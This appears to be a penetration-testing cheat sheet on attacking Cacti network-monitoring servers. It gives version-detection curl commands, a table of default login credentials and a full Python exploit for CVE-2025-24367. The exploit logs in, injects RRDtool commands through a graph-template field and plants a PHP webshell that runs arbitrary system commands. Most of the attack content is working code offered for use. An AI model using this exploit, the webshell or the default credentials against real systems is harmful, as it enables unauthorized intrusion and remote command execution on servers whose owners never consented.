cacti-exploitation

Cacti Exploitation

Overview

Cacti is a PHP-based network monitoring tool that uses RRDtool for graphing. It has multiple known vulnerabilities including authenticated RCE and unauthenticated command injection.

Version Detection

# Check version file
curl -s http://target/cacti/include/cacti_version

# Or from login page source
curl -s http://target/cacti/ | grep -i version

# Check common paths
curl -s http://target/cacti/index.php
curl -s http://target/cacti/graph_view.php

Default Credentials

Username	Password	Notes
admin	admin	Default installation
admin	cacti	Alternative default
guest	guest	Guest account
admin	(empty)	Some versions

CVE-2025-24367: Authenticated RCE via Graph Templates

Vulnerability

Authenticated users with permission to edit graph templates can inject arbitrary RRDtool commands via the right_axis_label parameter. RRDtool then writes PHP code to files in the web directory.

Requirements

• Valid Cacti credentials (any user with graph template edit access)
• Write access to web directory

Exploitation Steps

Step 1: Login and Get CSRF Token

import requests
import re

session = requests.Session()
url = "http://target/cacti"

# Get CSRF token
res = session.get(f"{url}/index.php")
csrf = re.search(r"sid:[a-z0-9]+,[a-z0-9]+", res.text).group(0)

# Login
data = {
    "__csrf_magic": csrf,
    "action": "login",
    "login_username": "marcus",
    "login_password": "wonderful1"
}
session.post(f"{url}/index.php", data=data, allow_redirects=True)

Step 2: Get Graph Template Info

# Access graph template 226 (or any valid template ID)
t226 = session.get(f"{url}/graph_templates.php?action=template_edit&id=226")
csrf = re.search(r"sid:[a-z0-9]+,[a-z0-9]+", t226.text).group(0)
gtg_id = re.search(r'graph_template_graph_id.*?value="(\d+)"', t226.text).group(1)

Step 3: Inject RRDtool Payload

# PHP webshell - uses numeric parameter to avoid quote filtering
# Access with: http://target/cacti/shell.php?1=id
php_code = "<?=system($_REQUEST[1]);?>"

# RRDtool injection payload
payload = f"""XXX
create my.rrd --step 300 DS:temp:GAUGE:600:-273:5000 RRA:AVERAGE:0.5:1:1200
graph shell.php -s now -a CSV DEF:out=my.rrd:temp:AVERAGE LINE1:out:{php_code}
"""

data = {
    "__csrf_magic": csrf,
    "name": "Unix - Logged in Users",
    "graph_template_id": "226",
    "graph_template_graph_id": gtg_id,
    "save_component_template": "1",
    "title": "|host_description| - Logged in Users",
    "vertical_label": "users",
    "image_format_id": "3",
    "height": "200",
    "width": "700",
    "base_value": "1000",
    "slope_mode": "on",
    "auto_scale": "on",
    "auto_scale_opts": "2",
    "auto_scale_rigid": "on",
    "upper_limit": "100",
    "lower_limit": "0",
    "right_axis": "",
    "right_axis_label": payload,  # INJECTION POINT
    "right_axis_format": "0",
    "right_axis_formatter": "0",
    "left_axis_formatter": "0",
    "auto_padding": "on",
    "tab_width": "30",
    "legend_position": "0",
    "legend_direction": "0",
    "rrdtool_version": "1.7.2",
    "action": "save"
}

session.post(f"{url}/graph_templates.php?header=false", data=data)